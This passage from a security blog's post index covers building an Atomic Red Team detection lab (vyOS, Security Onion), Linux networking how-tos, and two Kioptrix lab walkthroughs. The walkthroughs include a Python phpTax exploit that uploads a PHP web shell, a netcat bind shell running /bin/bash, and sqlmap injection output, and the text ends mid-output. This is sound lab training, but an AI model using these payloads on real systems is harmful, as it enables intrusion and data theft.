tighter.\nsudo so-allow a 10.20.0.0/24 Snapshot It\u0026rsquo;s a good idea to take a snapshot of the virtual machine now so we have something to revert to if something breaks or we try something malicious and need to reset.\n","permalink":"https://mikebosland.com/intrusion-detection-system-installation-and-configuration-with-security-onion-2/","summary":"\u003cp\u003eThis post is part of my series on  \u003cstrong\u003eBuilding an Atomic Red Team Lab\u003c/strong\u003e. This is the second part of this series where I\u0026rsquo;m going to document the installation process for the Intrusion Detection System (IDS).\u003c/p\u003e\n\u003ch2 id=\"operating-system\"\u003eOperating System\u003c/h2\u003e\n\u003cp\u003eOur Intrusion Detection System (IDS) will monitor the network traffic for suspicious or malicious traffic\u0026hellip;which I\u0026rsquo;ll be generating. I\u0026rsquo;m going to use the new version of SecurityOnion for this.\u003c/p\u003e\n\u003cp\u003eSecurityOnion is a free and opensource IDS and network monitoring platform. It has a suite of tools installed by default: A full ELK stack, Zeek, Wazuh, Suricata, Snort, etc. You can use the latest Emerging Threats ruleset to grab the most recent threat signatures known in the wild.\u003c/p\u003e\n\u003cp\u003eSecurityOnion2 is based on CentOS 7, so we\u0026rsquo;ll use that to build the base VM.\u003c/p\u003e","title":"Intrusion Detection System Installation and Configuration with Security Onion 2"},{"content":"This post is part of my series on Building an Atomic Red Team Lab. This is the first installation post where I\u0026rsquo;m going to document how I build, install and configure the central hub of the network.\nOperating System I\u0026rsquo;m going to be using vyOS. vyOS is a free and opensource firewall and router operating system. It\u0026rsquo;s a powerful platform, but there\u0026rsquo;s no GUI. It\u0026rsquo;s all CLI. I haven\u0026rsquo;t used it much so I\u0026rsquo;m excited to learn a new technology.\nVirtual Machine For the virtual machine, create a new Virtual machine with the following settings.\nAfter that, let\u0026rsquo;s assign 1 GB of RAM and 4 GB hard drive for the router and link the vyOS ISO. We\u0026rsquo;ll also have 2 network interface cards, 1 for the Wide Area Network (WAN) and 1 for the Local Area Network (LAN).\nInstalling the Operating System Most of this is following the official documentation to install vyOS on the new VM.\nBoot the Virtual Machine Login with the credentials vyos:vyos Run these commands to install vyos\ninstall image yes auto sda Yes 4294 1.4-rolling-20210527 /opt/vyatta/etc/config/config.boot \u0026lt;pick a secure password\u0026gt; sda reboot y The system should reboot. Then you can log in with the credentials vyos:your_secure_password\nConfiguring the System To make any configuration changes on vyOS, you need to be in configuration mode. After that, you can make the changes you want. Those changes then need to be commited and saved to the configuration file.\nTo enter configuration mode, type configure To commit your changes, type commit To save your changes so they persist across reboots, type save Configure the Interfaces We have 2 network interface cards, so we need to configure which is which. Let\u0026rsquo;s set eth0 to the WAN side and eth1 to the LAN side.\nconfigure set interfaces ethernet eth0 address dhcp set interfaces ethernet eth0 description \u0026#39;WAN\u0026#39; set interfaces ethernet eth1 address \u0026#39;10.20.0.1/24\u0026#39; set interfaces ethernet eth1 description \u0026#39;LAN\u0026#39; commit save exit You can verify these changes with\nconfigure show interfaces exit DHCP Servers Since I\u0026rsquo;m using static IPs, I decided to skip setting up a DHCP server. In hindsight, you might want to set this up. The following commands set the DHCP range from 10.20.0.240 - 10.20.0.254.\nOnce the domain controller is set up, we can adjust the dns-server from 10.20.0.1 to 10.20.0.10 to have DHCP clients use the Domain Controller as the primary DNS server.\nconfigure set service dhcp-server shared-network-name LAN subnet 10.20.0.0/24 default-router 10.20.0.1 set service dhcp-server shared-network-name LAN subnet 10.20.0.0/24 dns-server 10.20.0.1 set service dhcp-server shared-network-name LAN subnet 10.20.0.0/24 domain-name \u0026#39;art.lab\u0026#39; set service dhcp-server shared-network-name LAN subnet 10.20.0.0/24 lease \u0026#39;86400\u0026#39; set service dhcp-server shared-network-name LAN subnet 10.20.0.0/24 range 0 start 10.20.0.240 set service dhcp-server shared-network-name LAN subnet 10.20.0.0/24 range 0 stop 10.20.0.254 commit save exit Configure a DNS Service Domain Name Resolution (DNS) service is a fundamental network protocol. It could be considered the phonebook of the internet. DNS converts URLs (easy for humans to remember) to IP addresses (much harder for humans) to remember.\nSince we\u0026rsquo;re going to need internet access to pull down updates, additional dependencies and other tools, let\u0026rsquo;s set up a DNS service on our router.\nconfigure set service dns forwarding cache-size \u0026#39;0\u0026#39; set service dns forwarding listen-address \u0026#39;10.20.0.1\u0026#39; set service dns forwarding allow-from \u0026#39;10.20.0.0/24\u0026#39; set service dns forwarding name-server 8.8.8.8 set system name-server 8.8.8.8 commit save exit Configure a Network Address Translation Network Address Translation (NAT) is a process to map internal IP addresses to a single external IP address. This enables all devices behind a router to communicate using a single external IP.\nI\u0026rsquo;m going to configure vyOS to use masquerading. This is a technique that makes the traffic look like it originates from the router\u0026rsquo;s IP address rather than the device hidden behind the router, typically using an internal IP address. This is such a common technique to use with NAT that it\u0026rsquo;s commonly used interchangeably.\nconfigure set nat source rule 100 outbound-interface \u0026#39;eth0\u0026#39; set nat source rule 100 source address \u0026#39;10.20.0.0/24\u0026#39; set nat source rule 100 translation address masquerade commit save show nat exit Configure the Firewall Moving on to the firewall. vyOS uses a stateful firewall. Stateful firewalls operate at layer 3 and 4 of the OSI Model. This type of firewall keeps track of the state of each active network connections while analyzing incomming traffic.\nvyOS works by having zone firewalls. For this network, we have WAN and LAN zones. Each zone can have 3 directions: LOCAL, IN and OUT.\nLOCAL Applies to traffic that is destined for the router/firewall itself IN Applies to traffic that is ENTERING the interface, heading for OTHER networks OUT Applies to traffic that is EXITING the interface, heading for THIS network Note, IN and OUT may seem backwards\u0026hellip;but IN traffic is heading into the firewall to flow out to the internet. OUT traffic is flow out of the router and into the network.\nAs an example, if we want to allow HTTP from the WAN to the LAN, we\u0026rsquo;d configure that on the WAN-OUT ruleset. Because the traffic is exiting the firewall destined for the LAN network.\nFinally, there are 4 states to network traffic the firewall can filter on:\nnew The incoming packets are from a new connection established The incoming packets are part of an existing connection that has seen traffic in both directions related This incoming packets are new, but they are associated with an existing connection. An example of this would be FTP data transfers or ICMP errors related to a connection. invalid The incoming packets do not match any of the other states configure set firewall name WAN-IN default-action \u0026#39;drop\u0026#39; set firewall name WAN-IN rule 10 action \u0026#39;accept\u0026#39; set firewall name WAN-IN rule 10 state established \u0026#39;enable\u0026#39; set firewall name WAN-IN rule 10 state related \u0026#39;enable\u0026#39; set firewall name WAN-LOCAL default-action \u0026#39;drop\u0026#39; set firewall name WAN-LOCAL rule 10 action \u0026#39;accept\u0026#39; set firewall name WAN-LOCAL rule 10 state established \u0026#39;enable\u0026#39; set firewall name WAN-LOCAL rule 10 state related \u0026#39;enable\u0026#39; commit save exit Based on the rules above, I shouldn\u0026rsquo;t be able to ping the router, but it works.\nWhat happened? We created the rules, but they aren\u0026rsquo;t applied to any interfaces yet.\nconfigure set interfaces ethernet eth0 firewall in name \u0026#39;WAN-IN\u0026#39; set interfaces ethernet eth0 firewall local name \u0026#39;WAN-LOCAL\u0026#39; commit save exit Now that the rules are applied, pinging the router from the WAN side fails.\nThat\u0026rsquo;s fun, but I think I\u0026rsquo;d like to re-enable pinging from the WAN side for troubleshooting purposes.\nconfigure set firewall name WAN-LOCAL rule 20 action \u0026#39;accept\u0026#39; set firewall name WAN-LOCAL rule 20 icmp type-name \u0026#39;echo-request\u0026#39; set firewall name WAN-LOCAL rule 20 protocol \u0026#39;icmp\u0026#39; set firewall name WAN-LOCAL rule 20 state new \u0026#39;enable\u0026#39; commit save exit Great. I can ping the router now. If this was for more than a lab environment, you should enable key based authentication, replace the default user name, etc. But we\u0026rsquo;re gonna skip all that.\nSnapshot It\u0026rsquo;s a good idea to take a snapshot of the virtual machine now so we have something to revert to if something breaks or we try something malicious and need to reset.\n","permalink":"https://mikebosland.com/vyos-firewall-and-router-installation-and-configuration-in-esxi/","summary":"\u003cp\u003eThis post is part of my series on  \u003cstrong\u003eBuilding an Atomic Red Team Lab\u003c/strong\u003e. This is the first installation post where I\u0026rsquo;m going to document how I build, install and configure the central hub of the network.\u003c/p\u003e\n\u003ch2 id=\"operating-system\"\u003eOperating System\u003c/h2\u003e\n\u003cp\u003eI\u0026rsquo;m going to be using \u003ca href=\"https://vyos.io\"\u003evyOS\u003c/a\u003e. vyOS is a free and opensource firewall and router operating system. It\u0026rsquo;s a powerful platform, but there\u0026rsquo;s no GUI. It\u0026rsquo;s all CLI. I haven\u0026rsquo;t used it much so I\u0026rsquo;m excited to learn a new technology.\u003c/p\u003e","title":"vyOS Firewall and Router Installation and Configuration in ESXi"},{"content":"Dectection is one of the most critical stages of the Information Security processes. There will always be some new zero day exploit, so the ability to detect when an attack is operating on your network is critical.\nThe Atomic Red Team is an attack emulation toolkit to help you measure, monitor and improve your detection capabilities.\nI wanted to build out an active directory lab environment to explore this toolkit and the detection capabilities of various logging systems. It\u0026rsquo;s going to be a very bare bones network, but should be enough to experiment with the framework.\nHardware I\u0026rsquo;m going to run the lab virtually inside of an ESXi host running on a Dell R720. A lot of the systems are running Elasticsearch stacks - which are VERY RAM intensive and this system has 128GB of RAM available.\nLogging and Detection Systems The first detection system I\u0026rsquo;m going to look at is Hunting ELK. HELK is an opensource hunting platform based on ElasticSearch, Logstash and Kibana. I\u0026rsquo;m planning on looking at Log360, ActiveCounterMeansure BeaKer and the Free Tier of Splunk. If you have any other suggestions of log monitor/aggregation platforms let me know by leaving a comment or on Twitter.\nLab Systems For the router, I\u0026rsquo;m going with vyOS. It\u0026rsquo;s a CLI firewall and routing platform.\nFor the Windows side of the network, I\u0026rsquo;m going to set up a Domain Controller and a Windows 10 Workstation. Some of the Atomic tests are Linux specific, so I\u0026rsquo;m going to include a Linux Workstation as well. These systems are going to be from the Microsoft Evaluation Center.\nIn addition to the system logs, I want to be able to observe Network traffic for Atomic tests that traverse the network. To that end, I\u0026rsquo;m going to set up an Intrusion Detection System (IDS) and experiment with SecurityOnion2, Suricata and the Emerging Threat ruleset to start with.\nDevice Operating System vCPU RAM Hard Drive IP Router vyOS 1 512 MB 4 GB 10.20.0.1 IDS SecurityOnion 2 8 12 GB 500 GB 10.20.0.200 Logging System HELK 6 8 GB 500 GB 10.20.0.210 Domain Controller Windows Server 2019 2 4 GB 40 GB 10.20.0.10 Windows Workstation Windows 10 Enterprise 2 4 GB 32 GB 10.20.0.100 Linux Workstation Ubuntu 20.04 2 2 GB 32 GB 10.20.0.150 Network Diagram I\u0026rsquo;m going with a basic flat network layout. Not the most secure, but should be easy to monitor the network.\nInstallation Process I\u0026rsquo;m going to do a walk through on what I did to create the lab above. In this first installment, I\u0026rsquo;m going to walk through on creating the network environment. Each of the other components will be split out into their own posts so this isn\u0026rsquo;t one mega post.\nNetworking Since I\u0026rsquo;m running the labs on ESXi, I need to create a Virtual Switch and a Port Group. A Virtual Switch (or vSwitch), is a connection between the Virtual Machine and a Physical Network Interface. It operates at Layer 2 of the OSI Model just ike a hardware switch. However, there are some differences.\nThe vSwitch doesn\u0026rsquo;t keep a MAC address table like a hardware switch The vSwitch doesn\u0026rsquo;t flood unknown frames out to all ports, it simply drops unknown frames The vSwitch only cares about the MAC addresses from the VMs directly connected to vSwitch On the Virtual Switch I need to enable MAC Address changes, Promiscuous Mode and Forged Transmits.\nAfter the Virtual Switch, we need to configure Port Groups. Port Groups allow you to group the virtual ports on the vSwitch. Traffic policy rules are applied at the Port Group level. In this lab, we\u0026rsquo;re not doing much at the switching level, so we\u0026rsquo;ll just inherit the settings from the vSwitch.\nAdditional Installations You can continue following the series here. Links will be updated as they are ready.\nRouter installation and Configuration - vyOS IDS installation and Configuration - Security Onion Log Monitoring installation and Configuration - HELK Active Directory Domain Controller Installation and Configuration - Windows 2019 Server Windows Workstation Installation and Configuration - Windows 10 Enterprise Linux Workstation Installation and Configuration - Ubuntu 20.04 [In progress] Atomic Red Team Starter Set of Tests [In progress] HELK Starter Set Results [In Progress] SecurityOnion Starter Set Results [Not yet started] Log360 Starter Set Results [Not yet started] Beaker Starter Set Results [Not yet started] ","permalink":"https://mikebosland.com/building-a-virtual-atomic-red-team-research-lab/","summary":"\u003cp\u003eDectection is one of the most critical stages of the Information Security processes. There will always be some new zero day exploit, so the ability to detect when an attack is operating on your network is critical.\u003c/p\u003e\n\u003cp\u003eThe \u003ca href=\"https://github.com/redcanaryco/atomic-red-team\"\u003eAtomic Red Team\u003c/a\u003e is an attack emulation toolkit to help you measure, monitor and improve your detection capabilities.\u003c/p\u003e\n\u003cp\u003eI wanted to build out an active directory lab environment to explore this toolkit and the detection capabilities of various logging systems. It\u0026rsquo;s going to be a very bare bones network, but should be enough to experiment with the framework.\u003c/p\u003e","title":"Building A Virtual Atomic Red Team Research Lab"},{"content":"I downloaded from vulnhub and put Kioptrix 2014 on my lab network for my next machine challenge. This box had some software I hadn\u0026rsquo;t seen before, exposed social security numbers and lacked some of the commands I usually attacked.\nI wasn\u0026rsquo;t able to get an interactive shell without using the metasploit framework, which is a little disappointing\u0026hellip;.but overall it was a fun box to hack on.\nDiscovery I did a ping sweep with nmap to find the machines local IP.\nThe IPs are all my usual lab systems except 10.10.10.105. That must be our target.\nEnumeration Ports and Exposed Services Using nmap again, let\u0026rsquo;s see what services are running.\nOk. We have a few open ports.\n22/tcp no version identified 80/tcp apache httpd 2.2.21 mod_ssl 2.2.21 openSSL 0.9.8q DAV/2 pho 5.3.8 8080/tcp apache httpd 2.2.21 mod_ssl 2.2.21 openSSL 0.9.8q DAV/2 php 5.3.8 Port 80 Let\u0026rsquo;s check Port 80.\nNot much here. What about the source?\nThat\u0026rsquo;s interesting. There\u0026rsquo;s a URL in the meta tag. Let\u0026rsquo;s check it out.\nKnown Exploits Ok, so we have mod_ssl, apache2 and now pChart we can try to look at. There\u0026rsquo;s not SSL port listening, so mod_ssl is out. There\u0026rsquo;s not much to interact with on apache, so let\u0026rsquo;s start with whatever pChart is.\nLooks like pChart is vulnerable to Directory Traversal and Cross-Site Scripting. The Directory Traversal seems more useful. Let\u0026rsquo;s see what we can discover.\nDirectory Traversal nmap is guessing this is a FreeBSD system, so let\u0026rsquo;s start with /etc/passwd. This should exist.\nAlright! Cue the hacker music and distorted voice. We\u0026rsquo;re in.\nLet\u0026rsquo;s see what else we can see. Looking at /etc/ssh/sshd_config root can log in over SSH. That might in handy. On FreeBSD systems, apache is called httpd. Let\u0026rsquo;s see if those config files tell us anything. Poking around, I finally found it at /usr/local/etc/apache22/httpd.conf.\nThat\u0026rsquo;s interesting. Allow if the User-Agent starts with Mozilla/4.0. I\u0026rsquo;m going to add this header with the Add Customer Header extension. One trick to using this extension, you need to add the rule in the Project Options \u0026gt; Sessions area. Set a rule to Invoke a Burp extension and choose Add Custom Header. Enable Proxy in the scope. I think configured Firefox with FoxyProxy to use BurpSuite.\nNavigating to http://10.10.10.105:8080\u0026hellip;\nphptax. Interesting. Let\u0026rsquo;s see what it is.\nOUCH! This is a major information disclosure! Social Security Numbers for the win! In a real test, this is a stop and explain to the client how security through obscurity doesn\u0026rsquo;t work\u0026hellip;but, let\u0026rsquo;s continue.\nKnown Vulnerability Search Time Perfect. Remote Code Execution!\nI ported the php code to python\u0026hellip;.since I\u0026rsquo;m more comfortable there.\n\u0026#39;\u0026#39;\u0026#39; Based upon the work by CHW Underground Hacking Team phpTax File Manipulation(newvalue,field) Remote Code Execute Ported by python by Mike Bosland \u0026#39;\u0026#39;\u0026#39; import requests url = \u0026#34;http://10.10.10.105:8080\u0026#34; headers = { \u0026#39;User-Agent\u0026#39;: \u0026#34;Mozilla/4.0\u0026#34;, \u0026#39;Content-Type\u0026#39;: \u0026#34;text/plain\u0026#34; } uploadurl = f\u0026#34;{url}/phptax/index.php?field=rce.php\u0026amp;newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E\u0026#34; print(f\u0026#39;[*] Submitting request to: {url}\u0026#39;) r = requests.post(uploadurl, headers=headers) if r.status_code == 200: print(\u0026#39;[+] Web Shell uploaded to {url}/phptax/data/rce.php\u0026#39;) else: print(\u0026#39;[!] Error\u0026#39;) print(r.status_code) print(r.text) exit() # end if # test our access testurl = f\u0026#34;{url}/phptax/data/rce.php?cmd=id\u0026#34; r = requests.get(testurl, headers=headers) if r.status_code == 200 and \u0026#34;uid\u0026#34; in r.text: print(\u0026#39;[+] Test successful!\u0026#39;) print(testurl) print(r.text) else: print(\u0026#39;[!] Error testing code!\u0026#39;) print(r.status_code) print(r.text) # end if Now we run it to create a php webshell.\nTo run arbitrary commands with the web shell, navigate to http://10.10.10.105:8080/phptax/data/rce.py?cmd=\u0026lt;arbitrary command\u0026gt;\nExploring the File System Ok. So that\u0026rsquo;s our goal. /root/congrats.txt. Moving on.\nReverse Shell The php web shell is fine\u0026hellip;but not as interactive as I\u0026rsquo;d like. I tried a bunch of options that didn\u0026rsquo;t work. I tried creating meterpreter payloads with msfvenom, openssl reverse shells, netcat reverse shells. No luck. I\u0026rsquo;m a little disappointed I wasn\u0026rsquo;t able to exploit this manually.\nFinally, I looked at metasploit again. They have a phptax RCE exploit.\nWhen generating a PDF, the icondrawpng() function in drawimage.php does not properly handle the pfilez parameter. This parameter is used in an exec() statement, and then results in arbitrary remote code execution under the context of the web server.\nRun exploit and we have an interactive shell! And it happens to be root. Perfect! No need to elevate privileges.\nFrom here we can do a cat /root/congrats.txt and wrap up our time with this machine.\n","permalink":"https://mikebosland.com/pwning-kioptrix-2014-to-find-social-security-numbers/","summary":"\u003cp\u003eI downloaded from vulnhub and put \u003ca href=\"https://www.vulnhub.com/entry/kioptrix-2014-5,62/\"\u003eKioptrix 2014\u003c/a\u003e on my lab network for my next machine challenge. This box had some software I hadn\u0026rsquo;t seen before, exposed social security numbers and lacked some of the commands I usually attacked.\u003c/p\u003e\n\u003cp\u003eI wasn\u0026rsquo;t able to get an interactive shell without using the metasploit framework, which is a little disappointing\u0026hellip;.but overall it was a fun box to hack on.\u003c/p\u003e","title":"Pwning Kioptrix 2014 to find Social Security Numbers"},{"content":"If you\u0026rsquo;re looking for tools like ifconfig, netstat, route and are getting a command not found error, you are missing the net-tools package. This used to be installed by default, but since Ubuntu 18.04 it is not.\nSimple fix. Just install it:\nsudo apt-get install -y net-tools That will install the net-tools package and it\u0026rsquo;s included tools\narp hostname ifconfig ipmaddr iptunnel mii-tool nameif netstat plipconfig rarp slattach ","permalink":"https://mikebosland.com/how-to-fix-netstat-command-not-found-debian-ubuntu/","summary":"\u003cp\u003eIf you\u0026rsquo;re looking for tools like \u003ccode\u003eifconfig\u003c/code\u003e, \u003ccode\u003enetstat\u003c/code\u003e, \u003ccode\u003eroute\u003c/code\u003e and are getting a \u003ccode\u003ecommand not found\u003c/code\u003e error, you are missing the \u003ccode\u003enet-tools\u003c/code\u003e package. This used to be installed by default, but since Ubuntu 18.04 it is not.\u003c/p\u003e\n\u003cp\u003eSimple fix. Just install it:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003esudo apt-get install -y net-tools\n\u003c/code\u003e\u003c/pre\u003e","title":"How to Fix netstat command not found - Debian / Ubuntu"},{"content":"Ever since Ubuntu, my Linux distro of choice, switched from ifconfig and /etc/network/interfaces to start using Netplan I have a mental block about how to configure a static IP. Hence this post.\nNetplan supports two renderers, NetworkManager and Systemd-networkd. For my Ubuntu servers I use networkd.\nNetplan configuration files are written in yaml and have a .yaml extension. A pretty straight forward file structure. There are 3 potential locations that these files are read from in this order:\n/run/netplan/*.yaml /etc/netplan/*.yaml /lib/netplan/*.yaml I store mine on Ubuntu in the /etc/netplan directory. Files are loaded in alphabetical order - with later files appending keys to the previous file. So for the static IP I tend to name the file 01-ifcfg.yaml so it\u0026rsquo;s loaded early in the process.\nConfiguring a Static IP Address The first thing we\u0026rsquo;re going to need is the interface name. These used to be similar to eth0, but have since switched to using a name based on the PCI slot they are using - now something like ens160. So to find out what you inteface is called you can use the following:\nip a 1: lo: \u0026lt;LOOPBACK,UP,LOWER_UP\u0026gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens160: \u0026lt;BROADCAST,MULTICAST,UP,LOWER_UP\u0026gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000 link/ether 00:0c:29:3c:bb:54 brd ff:ff:ff:ff:ff:ff altname enp3s0 inet 10.1.2.3/24 brd 10.1.2.255 scope global ens160 valid_lft forever preferred_lft forever inet6 fe80::20c:29ff:fe3c:bb54/64 scope link valid_lft forever preferred_lft forever So in this case, I only have 1 network adapter. It\u0026rsquo;s called ens160. Next we need a few details about the network:\nNetwork subnet mask (typically I use a /24 for my lab) The static IP would want to assign to this machine (10.10.10.3 in my case) Gateway IP Address (typically this will be the .1 address. 10.10.10.1 in my case) Any DNS servers you want to configure For my lab, I have the router (10.10.10.1) which can connect to the outside world if necessary, so I have the DNS set up to forward DNS along Inside the lab, I have a DNS server running on 10.10.10.20 so these are the two address I\u0026rsquo;ll use below Armed with this knowledge, we can now create the configuration file.\nsudo nano /etc/netplan/01-ifcfg.yaml network: version: 2 renderer: networkd ethernets: ens160: dhcp4: no addresses: - 10.10.10.3/24 gateway4: 10.10.10.1 nameservers: addresses: [10.10.10.20,10.10.10.1] Before you apply the changes, let\u0026rsquo;s test them to make sure we didn\u0026rsquo;t make a mistake creating the config file.\nsudo netplan try Netplan will validate the configuration file. If there are no issues, netplan will attempt to apply the new settings. If the configuration fails, netplan will revert the settings after the timeout period (120 seconds I think). Otherwise the new settings will be kept.\nIf you like to live dangerously, you can skip the try command and jump right into:\nsudo netplan apply This will just apply the settings in your new config file.\nDHCP Configuration If for some odd reason, you need to configure DHCP, you can use this as a base template. Just edit as needed.\nsudo nano /etc/netplan/01-ifcfg.yaml network: version: 2 renderer: networkd ethernets: ens160: dhcp4: true addresses: [] optional: true ","permalink":"https://mikebosland.com/how-to-set-a-static-ip-using-netplan/","summary":"\u003cp\u003eEver since Ubuntu, my Linux distro of choice, switched from \u003ccode\u003eifconfig\u003c/code\u003e and \u003ccode\u003e/etc/network/interfaces\u003c/code\u003e to start using Netplan I have a mental block about how to configure a static IP. Hence this post.\u003c/p\u003e","title":"How to Set a Static IP using Netplan"},{"content":"Today I wanted to keep working through the Kioptrix Level 1.2. I pulled the machine from vulnhub and set it up on my ESXi lab network.\nBasic Recon First up, we need to find the the location of the server on the network. Once again, on the 10.10.10.0/24 subnet. My attacker machine is on .100 so .103 is the target.\nBasic Enumeration I started with a port/version/OS detection.\nOK. Only two ports open. Next up, a script scan. I didn\u0026rsquo;t expect much more from these ports, but it doesn\u0026rsquo;t hurt to check.\nYeah. Nothing very interesting.\nPort 80 I decided to start with port 80 since SSH doesn\u0026rsquo;t usually have a lot of vulnerabilities.\nAlright, looks like we have a CMS to play with, should have some vulnerabilities. I moved on to the Blog link.\nA few things popped out to here here. First, the URL seems to want to be hosted at http://kioptrix3.com. Secondly, loneferret if referenced in the New Lead Programmer post which may be a valid user name. So I made a note of that.\nTo configure the DNS record, I added it to my /etc/hosts file.\nsudo nano /etc/hosts Now, the gallery URL should work. And it did.\nPlaying around with these links I didn\u0026rsquo;t find anything terribly exciting. Finally, there\u0026rsquo;s a Login link off the main page.\nInitial Foothold I found a name for the CMS here, LotusCMS. Let\u0026rsquo;s see if there are any known exploits.\nThere are some options here. I started with reading the last LotusCMS 3.0.3 - Multiple Vulnerabilities text file. There\u0026rsquo;s some proof of concept code. I didn\u0026rsquo;t think this would work in our case, but I wanted to generate an error to see if I can get some detailed error messages.\nOpening the file in a web browser ran the exploit. It did generate an error, just not as verbose as I had hoped.\nNo verbose error messages, but here\u0026rsquo;s confirmation that it\u0026rsquo;s a Fraise 3.0 series. So, the first or last two exploits might be helpful. Metasploit seems to have an RCE available.\nThese are the options I had set in the msfconsole: RHOSTS, URI and I changed payload from a php meterpreter to a shell bind payload. I didn\u0026rsquo;t need any of the fancy meterpreter features. Just a shell.\nI started the exploit command and got back a shell!\nNow, for some reason, I couldn\u0026rsquo;t seem to do much from this shell. I wasn\u0026rsquo;t able to change directories, read files, etc. However, I did see that netcat (nc) was installed. Hopefully it\u0026rsquo;s a version with the -e option compiled. I set up a bind port that I would be able to connect to from my attacker machine.\nwhich nc /bin/nc which bash /bin/bash /bin/nc -vlp 5555 -e /bin/bash Now I connected back with netcat on my Kali machine.\nnc 10.10.10.103 5555 Some initial tests showed that this is much more helpful. I can move around, read and write files.\nExploring the file system, I found a few things.\nmysql credentials\nchecksec.sh\nInside loneferret\u0026rsquo;s home directory was a file called CompanyPolicy.README\nHello new employee, It is company policy here to use our newly installed software for editing, creating and viewing files. Please use the command \u0026#39;sudo ht\u0026#39;. Failure to do so will result in you immediate termination. DG CEO Through this shell I wasn\u0026rsquo;t able to open the ht file. So I pulled the /etc/passwd file and confirmed/found some user names.\nroot dreg loneferret I didn\u0026rsquo;t see much else to do, so I quit this shell. I remember finding the mysql account, so I thought perhaps the website could be vulnerable to a sql inection attack.\nSQL Injection Back to the web gallery.\nThis URL looked like it could be vulnerable to a sql injection attack. To test, I entered 1' in the id field.\nBingo! I got a SQL error back. sqlmap time.\nsqlmap -u \u0026#34;http://10.10.10.103/gallery/gallery.php?id=1\u0026#34; ___ __H__ ___ ___[\u0026#39;]_____ ___ ___ {1.5.4#stable} |_ -| . [\u0026#39;] | .\u0026#39;| . | |___|_ [\u0026#39;]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user\u0026#39;s responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 01:13:51 /2021-05-01/ [01:13:51] [INFO] testing connection to the target URL [01:13:52] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests you have not declared cookie(s), while server wants to set its own (\u0026#39;PHPSESSID=00296a5cd9a...99e9475f26\u0026#39;). Do you want to use those [Y/n] y [01:13:56] [INFO] checking if the target is protected by some kind of WAF/IPS [01:13:56] [INFO] testing if the target URL content is stable [01:13:56] [INFO] target URL content is stable [01:13:57] [INFO] testing if GET parameter \u0026#39;id\u0026#39; is dynamic [01:13:57] [INFO] GET parameter \u0026#39;id\u0026#39; appears to be dynamic [01:13:57] [INFO] heuristic (basic) test shows that GET parameter \u0026#39;id\u0026#39; might be injectable (possible DBMS: \u0026#39;MySQL\u0026#39;) [01:13:57] [INFO] heuristic (XSS) test shows that GET parameter \u0026#39;id\u0026#39; might be vulnerable to cross-site scripting (XSS) attacks [01:13:57] [INFO] testing for SQL injection on GET parameter \u0026#39;id\u0026#39; it looks like the back-end DBMS is \u0026#39;MySQL\u0026#39;. Do you want to skip test payloads specific for other DBMSes? [Y/n] y for the remaining tests, do you want to include all tests for \u0026#39;MySQL\u0026#39; extending provided level (1) and risk (1) values? [Y/n] y [01:14:07] [INFO] testing \u0026#39;AND boolean-based blind - WHERE or HAVING clause\u0026#39; [01:14:07] [WARNING] reflective value(s) found and filtering out [01:14:08] [INFO] testing \u0026#39;Boolean-based blind - Parameter replace (original value)\u0026#39; [01:14:08] [INFO] GET parameter \u0026#39;id\u0026#39; appears to be \u0026#39;Boolean-based blind - Parameter replace (original value)\u0026#39; injectable (with --code=500) [01:14:08] [INFO] testing \u0026#39;Generic inline queries\u0026#39; [01:14:08] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)\u0026#39; [01:14:08] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.5 OR error-based - WHERE or HAVING clause (EXP)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)\u0026#39; [01:14:09] [INFO] testing \u0026#39;MySQL \u0026gt;= 4.1 OR error-based - WHERE or HAVING clause 